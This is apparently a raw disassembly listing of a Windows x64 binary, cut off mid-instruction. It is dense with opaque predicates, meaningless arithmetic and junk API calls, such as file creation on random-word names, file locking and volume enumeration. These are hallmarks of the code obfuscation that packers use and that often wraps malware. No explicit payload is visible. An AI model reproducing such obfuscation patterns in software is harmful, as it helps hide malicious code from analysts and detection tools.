mov dword [rsp + 0x3424], 0xe8e9625e
mov dword [rsp + 0x3428], 0x668b7f26
movabs rax, 0x588b58168217e72d
mov qword [rsp + 0xac78], rax
mov eax, 0x817
mov word [rsp + 0xea0], ax
mov byte [rsp + 0x14f], 0x12
mov dword [rsp + 0x342c], 0x7827b9e3
mov dword [rsp + 0x3430], 0x48aa373b
mov eax, 0x2476
mov word [rsp + 0xea4], ax
mov dword [rsp + 0x3434], 0x3e3014fe
movabs rax, 0x85add8ab0dc5d2bd
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0xac88], rax
movabs rax, 0x85add8ab0dc5d2bd
cmp qword [rsp + 0xac88], rax
je 0x1400043e9
jmp 0x1401d90c6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.scalpsmessed
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xac90], rax
movabs rax, 0xe80ea82a46f2388f
cmp qword [rsp + 0xac80], rax
jae 0x140004568
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.joltincestsmodelsSacrificedConnote
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xac98], rax
mov dword [rsp + 0x3438], 0xab1c
movabs rax, 0x8228e0df43cc9906
mov rcx, qword [rsp + 0xac80]
sub rcx, rax
mov rax, rcx
movabs rcx, 0x77f64b6a509d17dc
cmp rax, rcx
jne 0x140004563
movabs rax, 0xba8a55d42c108190
mov rcx, qword [rsp + 0xac80]
imul rcx, rax
mov rax, rcx
movabs rcx, 0xd2265e4053bf8570
cmp rax, rcx
jne 0x14000454c
lea rax, [rsp + 0x343c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x343c]
lea r8, [rsp + 0xac80]
lea rdx, [rsp + 0xac80]
mov rcx, qword [rsp + 0xaca0]
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [rsp + 0x3440], eax
mov dword [rsp + 0x343c], 0xbf8d7a60
mov edx, 0x7d
lea rcx, [rsp + 0x343c]
call qword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xac80]
shr rax, 0x15
mov qword [rsp + 0xac80], rax
jmp 0x140004563
xor edx, edx
mov rcx, qword [rsp + 0xaca8]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x3448], eax
jmp 0x14000462c
movabs rax, 0xb0e5f9168eb2fb82
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
movabs rcx, 0xa1fa534151aa4f2f
cmp rax, rcx
jbe 0x14000462c
movabs rax, 0x9e59ad0b6825b1e8
mov rcx, qword [rsp + 0xac80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov r8d, 0xdc
lea rdx, [rsp + 0x2ccb8]
mov rcx, qword [rsp + 0xacb0]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov dword [rsp + 0x344c], eax
mov eax, dword [rsp + 0x3444]
mov dword [rsp + 0x343c], eax
mov r8d, 0x7d
lea rdx, [rsp + 0x2d310]
lea rcx, str.BottlefedThereto_buttonedpolemicalDifferentiations
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov dword [rsp + 0x3450], eax
movabs rax, 0xe47cca8a12e5c0e8
mov rcx, qword [rsp + 0xac80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
call fcn.1401d96b0
nop
mov dword [rsp + 0x3454], 0xe1dc
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Pence_brigadierscrept_novicedetesting
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xacb8], rax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3458], eax
movsx eax, word [section..data]
add eax, 0x530e
mov word [section..data], ax
movabs rax, 0xcb532226891c038
mov rcx, qword [rsp + 0xac80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov dword [rsp + 0x345c], 0x9e2c
cmp dword [rsp + 0x3438], 0xb4a0
jae 0x1400049b8
movabs rax, 0x7936301eee091cc0
mov rcx, qword [rsp + 0xac80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov dword [rsp + 0x20], 0x253b
mov r9d, 0xf25
mov r8d, 0x3b25
mov edx, 0x33d4
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3460], eax
mov eax, dword [rsp + 0x343c]
mov dword [rsp + 0x3444], eax
mov eax, dword [rsp + 0x3444]
mov dword [rsp + 0x343c], eax
mov edx, 0x26518
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3464], eax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x343c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
movabs rax, 0x8fcc679951db0f42
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3468], eax
lea rdx, [rsp + 0xacc0]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3464], eax
mov eax, dword [rsp + 0x3444]
mov dword [rsp + 0x3450], eax
movsx eax, word [section..data]
add eax, 0x61a3
mov word [section..data], ax
mov r9d, 2
lea r8, [rsp + 0xacc8]
mov rdx, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3464], eax
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x343c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
mov edx, 0x212865
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3460], eax
mov eax, dword [rsp + 0x3444]
movzx ecx, al
mov eax, dword [rsp + 0x343c]
shl eax, cl
mov dword [rsp + 0x3450], eax
mov eax, dword [rsp + 0x3444]
movzx ecx, al
mov eax, dword [rsp + 0x343c]
shr eax, cl
mov dword [rsp + 0x3450], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd539
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x346c], eax
movsx eax, word [section..data]
xor eax, 0x7b2b
mov word [section..data], ax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x343c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov eax, dword [rsp + 0x3438]
add eax, 0xae
mov dword [rsp + 0x3438], eax
movabs rax, 0x6269f7b7baa03e82
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov dword [rsp + 0x20], 0x1b6a
mov r9d, 0xa6
mov r8d, 0x1c10
mov edx, 0x3585
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3468], eax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3470], eax
lea rdx, [rsp + 0xacd0]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3464], eax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x343c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
jmp 0x1400046ce
lea rdx, [rsp + 0x3474]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3478], eax
movabs rax, 0x5f4d3db77d6f1aa8
mov qword [rsp + 0xacd8], rax
mov dword [rsp + 0x347c], 0xce85
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
mov eax, dword [rsp + 0x343c]
mov dword [rsp + 0x3480], eax
cmp dword [rsp + 0x3480], 0xc5d9042a
je 0x140004a28
jmp 0x140004a6c
movsx eax, word [section..data]
mov dword [rsp + 0x3484], eax
cmp dword [rsp + 0x3484], 0x2e03
je 0x140004a45
jmp 0x140004a5a
movsx eax, word [section..data]
and eax, 0x3ed4
mov word [section..data], ax
jmp 0x140004a67
mov r8b, 0xe8
mov dl, 0x87
mov cl, 0x3c
call fcn.1401d98a0
nop
jmp 0x140004b6b
mov dword [rsp + 0x20], 0x253b
mov r9d, 0xf25
mov r8d, 0x3b25
mov edx, 0x33d4
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x3460], eax
mov eax, dword [rsp + 0x3450]
mov dword [rsp + 0x3488], eax
cmp dword [rsp + 0x3488], 0
je 0x140004b50
cmp dword [rsp + 0x3488], 0xff6996dd
je 0x140004ac8
jmp 0x140004b60
mov edx, 0x13
mov rcx, qword [rsp + 0xaca8]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [rsp + 0x348c], eax
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
movabs rax, 0x6c0d3ef616a30c7a
mov rcx, qword [rsp + 0xacd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
lea rax, [rsp + 0x3450]
mov qword [rsp + 0x20], rax
mov r9d, 0xd
mov r8d, 0x53
mov edx, 0x7b
mov rcx, qword [rsp + 0xaca8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x344c], eax
jmp 0x140004b60
mov rax, qword [rsp + 0xacd8]
mov qword [rsp + 0xace0], rax
mov dword [rsp + 0x3490], 0x1a50
mov eax, dword [rsp + 0x3450]
mov dword [rsp + 0x3494], eax
cmp dword [rsp + 0x3494], 0
je 0x140004c16
cmp dword [rsp + 0x3494], 0x4642c503
je 0x140004b99
jmp 0x140004d2e
mov r8, qword [rsp + 0xacd8]
mov dx, 0xa9
mov cx, 0x20
call fcn.1401d9170
movabs rax, 0x67b6b35b1c0efa5f
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov r8d, 0x89
lea rdx, [rsp + 0x2d210]
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeA]
mov dword [rsp + 0x3440], eax
movabs rax, 0x53fa419b457fc99
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
jmp 0x140004d2e
mov eax, 0x920
mov word [rsp + 0xea8], ax
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x3498], eax
cmp dword [rsp + 0x3498], 0x2e2
je 0x140004c68
cmp dword [rsp + 0x3498], 0xdbc
je 0x140004c51
jmp 0x140004d2e
mov ecx, 0xae
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov dword [rsp + 0x3440], eax
jmp 0x140004d2e
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xacf0], rax
movabs rax, 0x1fa633db192770b0
cmp qword [rsp + 0xacf0], rax
je 0x140004c91
jmp 0x140004d19
movzx eax, word [rsp + 0xea8]
shl eax, 0xd
mov word [rsp + 0xea8], ax
mov r8d, 0xf8
lea rdx, [rsp + 0x2d210]
lea rcx, str.aquahemenProphesied
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov dword [rsp + 0x344c], eax
mov rax, qword [rsp + 0xace0]
sar rax, 0x2f
mov qword [rsp + 0xacd8], rax
lea rdx, str.haughty_Threequarters
lea rcx, [rsp + 0x26e88]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov qword [rsp + 0xacf8], rax
movabs rax, 0x6fe7560c8dcbf1ec
mov rcx, qword [rsp + 0xace0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
jmp 0x140004d2e
movzx eax, word [rsp + 0xea8]
xor eax, 0x503
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x349c], 0x2500
lea rdx, [rsp + 0xacc8]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3458], eax
mov dword [rsp + 0x34a0], 0x288d
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x34a4], eax
cmp dword [rsp + 0x34a4], 0x613
je 0x140004d7f
jmp 0x140004da6
mov edx, dword [rsp + 0x34a8]
mov rcx, qword [rsp + 0xaca0]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x3440], eax
call fcn.1401d96b0
nop
jmp 0x1401d9020
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x34ac], eax
cmp dword [rsp + 0x34ac], 0x825
je 0x140004dd8
cmp dword [rsp + 0x34ac], 0xe31
je 0x140004f25
jmp 0x140004f2b
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x343c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0xad00], rax
movabs rax, 0x63e0e6ed9e78dfc0
cmp qword [rsp + 0xad00], rax
je 0x140004e32
movabs rax, 0x69927c54db4acf97
cmp qword [rsp + 0xad00], rax
je 0x140004f03
jmp 0x140004f23
mov edx, dword [rsp + 0x34b0]
mov rcx, qword [rsp + 0xad08]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov dword [rsp + 0x3440], eax
movsx eax, word [section..data]
mov dword [rsp + 0x34b4], eax
cmp dword [rsp + 0x34b4], 0x68e7
je 0x140004ed9
cmp dword [rsp + 0x34b4], 0x6ae7
je 0x140004e7b
jmp 0x140004f01
movabs rax, 0xe5981374ae15ba19
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov r8d, 4
mov rdx, qword [rsp + 0xad10]
mov rcx, qword [rsp + 0xad18]
call qword [sym.imp.GDI32.dll_ExtSelectClipRgn]
mov dword [rsp + 0x34b8], eax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
jmp 0x140004f01
lea r9, [rsp + 0x2d310]
mov r8d, 0xcc
mov edx, 0x6a
mov rcx, qword [rsp + 0xad20]
call qword [sym.imp.GDI32.dll_OffsetWindowOrgEx]
mov dword [rsp + 0x3448], eax
jmp 0x140004f23
movabs rax, 0x398c8723bec3b7c0
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
jmp 0x140004f2b
call fcn.1401d96b0
nop
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x34bc], eax
cmp dword [rsp + 0x34bc], 0x5fb
je 0x140004fb2
cmp dword [rsp + 0x34bc], 0x920
je 0x140004f59
jmp 0x140004ffa
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2cb0
mov r9d, 0x1722
mov r8d, 0x8dbac789
mov edx, 1
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x3460], eax
mov byte [rsp + 0x150], 8
movzx eax, word [rsp + 0xea8]
mov word [rsp + 0xeac], ax
mov byte [rsp + 0x151], 0x13
jmp 0x140004ffa
lea r9, [rsp + 0x150]
mov r8, qword [rsp + 0xad28]
lea rdx, [rsp + 0x34b0]
mov ecx, 1
call qword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov qword [rsp + 0xad30], rax
movsx eax, byte [rsp + 0x151]
and eax, 3
mov byte [rsp + 0x151], al
mov dword [rsp + 0x34b8], 0xb2237c9
mov dword [rsp + 0x34c0], 0x4fa
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0xad38], rax
movabs rax, 0x895bd6c28c8611b4
cmp qword [rsp + 0xad38], rax
je 0x140005042
movabs rax, 0xec3ee783ab73b86f
cmp qword [rsp + 0xad38], rax
je 0x14000504d
jmp 0x140005123
call fcn.1401d96b0
nop
jmp 0x140005123
mov edx, 0x9a
mov rcx, qword [rsp + 0xad40]
call qword [sym.imp.GDI32.dll_SetMapperFlags]
mov dword [rsp + 0x343c], eax
movabs rax, 0x63721421cd72c475
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
movsx eax, byte [rsp + 0x151]
cmp eax, 0x79
je 0x1400050c8
movzx eax, byte [rsp + 0x150]
sub eax, 0x6c
mov byte [rsp + 0x150], al
lea r8, [rsp + 0x348c]
mov edx, 0x9d
mov rcx, qword [rsp + 0xad48]
call qword [sym.imp.GDI32.dll_GetObjectA]
mov dword [rsp + 0x34c4], eax
movzx eax, word [rsp + 0xeac]
add eax, 0xb56
mov word [rsp + 0xea8], ax
mov r9d, 0x69
mov r8d, 0x25
mov edx, 0xaf
mov rcx, qword [rsp + 0xad18]
call qword [sym.imp.GDI32.dll_SetPixel]
mov dword [rsp + 0x3450], eax
movabs rax, 0x42aded76380eccbd
mov rcx, qword [rsp + 0xac80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov dword [rsp + 0x34c8], 0x995d
movzx eax, word [rsp + 0xea8]
shl eax, 0xec
movzx ecx, word [rsp + 0xeac]
cmp eax, ecx
jle 0x140005236
mov eax, dword [rsp + 0x343c]
mov dword [rsp + 0x34cc], eax
mov dword [rsp + 0x34d0], 0x6c5e
movzx eax, word [section..data]
mov word [rsp + 0xeb0], ax
lea rdx, [rsp + 0xacc8]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x34d4], eax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xad50], rax
mov dword [rsp + 0x34d8], 0x5a1e
mov dword [rsp + 0x20], 0x1b6a
mov r9d, 0xa6
mov r8d, 0x1c10
mov edx, 0x3585
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x3458], eax
mov dword [rsp + 0x34dc], 0xcc80
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x34e0], eax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xad58], rax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0xeb0]
sar eax, cl
mov word [rsp + 0xa6c], ax
mov dword [rsp + 0x34e4], 0x648d
mov dword [rsp + 0x34e8], 0x90c5
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xad60], rax
cmp dword [rsp + 0x34c8], 0xd577
ja 0x140005812
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov word [section..data], ax
movabs rax, 0x37a4d2b7b41a049c
mov rcx, qword [rsp + 0xacd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
add eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
movabs rax, 0x5cb60c265cab9ae6
mov rcx, qword [rsp + 0xa4c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3464], eax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x346c], eax
mov eax, dword [rsp + 0x34c4]
mov dword [rsp + 0x34b8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2cb0
mov r8d, 0x1722
mov edx, 0x46
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x3470], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
sub eax, 0x78
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
and eax, ecx
mov word [section..data], ax
movabs rax, 0x6e6348c69f6ee56e
mov rcx, qword [rsp + 0xa4c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov r9d, 2
lea r8, [rsp + 0xacc0]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3464], eax
mov eax, dword [rsp + 0x34c8]
add eax, 0x9d
mov dword [rsp + 0x34c8], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sar eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3458], eax
mov r9d, 2
lea r8, [rsp + 0xacd0]
mov rdx, qword [rsp + 0xacd0]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3460], eax
movabs rax, 0x6793389345ed4f37
mov rcx, qword [rsp + 0xace0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov edx, 0x133b86
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34ec], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
xor eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
shl eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3474], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov r9d, 2
lea r8, [rsp + 0xad68]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
and eax, 0xe4
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
sub eax, 0x34
mov byte [rsp + 0x151], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2e4
mov r9d, 0x35ed
mov r8d, 0x967148fa
mov edx, 1
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x34d4], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x343c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
lea rdx, [rsp + 0xad68]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x34f0], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
movabs rax, 0xe2209ca008258e53
mov rcx, qword [rsp + 0xac80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
add eax, 0x3c
mov byte [rsp + 0x151], al
xor r9d, r9d
lea r8, [rsp + 0xacd0]
mov rdx, qword [rsp + 0xacc0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3464], eax
lea rdx, [rsp + 0x346c]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x34f4], eax
mov r9d, 1
lea r8, [rsp + 0xacc8]
mov rdx, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
and eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x150]
shl eax, 2
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
xor eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
sar eax, cl
mov word [section..data], ax
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x34cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
movabs rax, 0x6391513a0c587348
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov eax, dword [rsp + 0x34b8]
mov dword [rsp + 0x34c4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa5a5
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3478], eax
movzx eax, byte [rsp + 0x150]
add eax, 0x75
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
and eax, 0x13
mov byte [rsp + 0x151], al
mov edx, 0x1a70e8
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34f8], eax
jmp 0x140005246
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0xad70], rax
movzx eax, byte [rsp + 0x150]
mov byte [rsp + 0x152], al
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xad78], rax
movabs rax, 0x3c2b1f4dc27124b5
mov rcx, qword [rsp + 0xacd8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xace0]
jg 0x140005904
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x150]
cmp eax, ecx
jge 0x140005902
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
mov dword [rsp + 0x34fc], eax
cmp dword [rsp + 0x34fc], 0x7ea
je 0x1400058b6
cmp dword [rsp + 0x34fc], 0xd22
je 0x1400058e6
jmp 0x140005902
mov edx, 0xa
mov ecx, 0xa7
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0xad80], rax
mov rdx, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xac80]
call fcn.1401d9ff0
nop
jmp 0x140005902
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov word [section..data], ax
jmp 0x140005973
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x343c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x34cc]
mov edx, dword [rsp + 0x3444]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140005973
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
lea r9, [rsp + 0x34a8]
mov r8d, 0xe6
mov edx, 0x75
mov rcx, qword [rsp + 0xad28]
